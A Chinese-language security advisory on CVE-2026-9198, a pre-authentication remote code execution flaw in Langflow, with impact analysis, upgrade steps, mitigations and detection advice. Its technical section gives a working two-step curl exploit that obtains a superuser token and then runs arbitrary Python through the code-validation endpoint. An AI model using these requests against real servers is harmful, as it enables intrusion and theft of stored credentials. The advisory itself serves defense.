事件概述
2026 年 8 月 4 日,美国 CISA 将影响开源 LLM 工作流编排框架 IBM Langflow OSS 1.0.0 至 1.10.0 的 CVE-2026-9198 正式列入 Known Exploited Vulnerabilities(KEV)目录,联邦机构须在 2026-08-07 前完成修复。IBM 官方为该漏洞给出 CVSSv3.1 9.8(Critical) 的评分,向量为 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H,对应 CWE-94(代码注入)。漏洞最早披露时间为 2026-07-17,发布版本 Langflow OSS 1.10.1 已完成修复。
Langflow 是用于搭建 LLM 智能体工作流的开源框架,被广泛用于企业内部 AI Agent、RAG 流程、工具调用等场景。大量默认部署将 HTTP API 直接暴露于互联网或企业内网,且未启用反向代理鉴权,这使得此次预认证 RCE 的影响面极大。IONIX 与 SentinelOne 的研究团队均确认该漏洞已在野利用尝试被持续观察。
技术细节
该漏洞由两个 API 端点的缺陷链式构成:
- /api/v1/auto_login 认证绕过:该端点用于本地开发便捷登录,启用
AUTO_LOGIN=true(默认配置)后,会向任意 HTTP 调用方签发一个 长期 SUPERUSER 级别 JWT,未校验来源 IP、未绑定 loopback、未校验调用方身份。 - /api/v1/validate/code 无沙箱代码执行:该端点接收用户提交的 Python 源码并直接调用
exec()执行,且会同时执行装饰器与默认参数表达式,因此任何可达该端点的网络攻击者都可凭借 SUPERUSER Token 提交恶意 Python 源码。
利用路径仅需两步:
# 步骤 1:直接调用 auto_login 拿到 SUPERUSER Token
curl http://target:7860/api/v1/auto_login
# 返回 {"access_token":"eyJ...","token_type":"bearer","superuser":true}
# 步骤 2:携带 Token 调用 validate/code 触发任意 Python 执行
curl -X POST http://target:7860/api/v1/validate/code \
-H "Authorization: Bearer eyJ..." \
-H "Content-Type: application/json" \
-d '{"code":"import os; os.system(\"id > /tmp/pwned\")"}'
关键攻击特征
- 零认证:无需任何账号、口令或客户端配置;
- 零交互:纯 HTTP 请求即可完成全链路;
- 默认配置即漏洞:AUTO_LOGIN 在
langflow>=1.0.0默认开启,且 validate/code 不需要 admin 角色。
影响评估
CVSS 评分 9.8 表示:
- 机密性 (C:H):攻击者可读取 Langflow 进程可访问的所有文件、API Key、模型凭据;
- 完整性 (I:H):可任意修改 Flow、Prompt、数据集,构成对下游 LLM 应用的供应链投毒入口;
- 可用性 (A:H):可删除或重置 Langflow 持久化目录、阻断企业 AI 业务;
- 横向移动:若 Langflow 与数据库、对象存储、向量库共用网络与凭据,可作为 AI 基础设施的跳板。
EPSS 当前为 0.35-1.89%,但 IONIX 报告已观测到 活跃的扫描与利用尝试,因此 KEV 目录将其定义为”已知被利用”。
修复建议
1. 立即升级
# 升级到 1.10.1 或更高版本
pip install --upgrade langflow==1.10.1
# 重新构建并替换所有运行容器
2. 临时缓解(无法立即升级时)
- 在反向代理(NGINX / Traefik / Cloudflare Access)上对
/api/v1/auto_login与/api/v1/validate/code设置 仅允许可信内网访问; - 将环境变量
LANGFLOW_AUTO_LOGIN=false,并显式设置LANGFLOW_SUPERUSER账号; - 将 Langflow 监听地址绑定到
127.0.0.1,强制外部通过 VPN 或鉴权网关访问; - 关闭 7860 端口的公网直连,启用 WAF 检测异常
auto_login调用。
3. 检测与响应
- 在 FastAPI 访问日志中检索
/api/v1/auto_login高频调用,定位可疑源 IP; - 对 Langflow 进程监控异常子进程(
sh、bash、curl、wget、python -c)以及出站网络连接; - 轮换所有 Langflow 中存储的模型 Provider Key、数据库口令、对象存储凭据;
- 回溯检查
/tmp/、crontab、~/.ssh/authorized_keys中是否存在异常写入。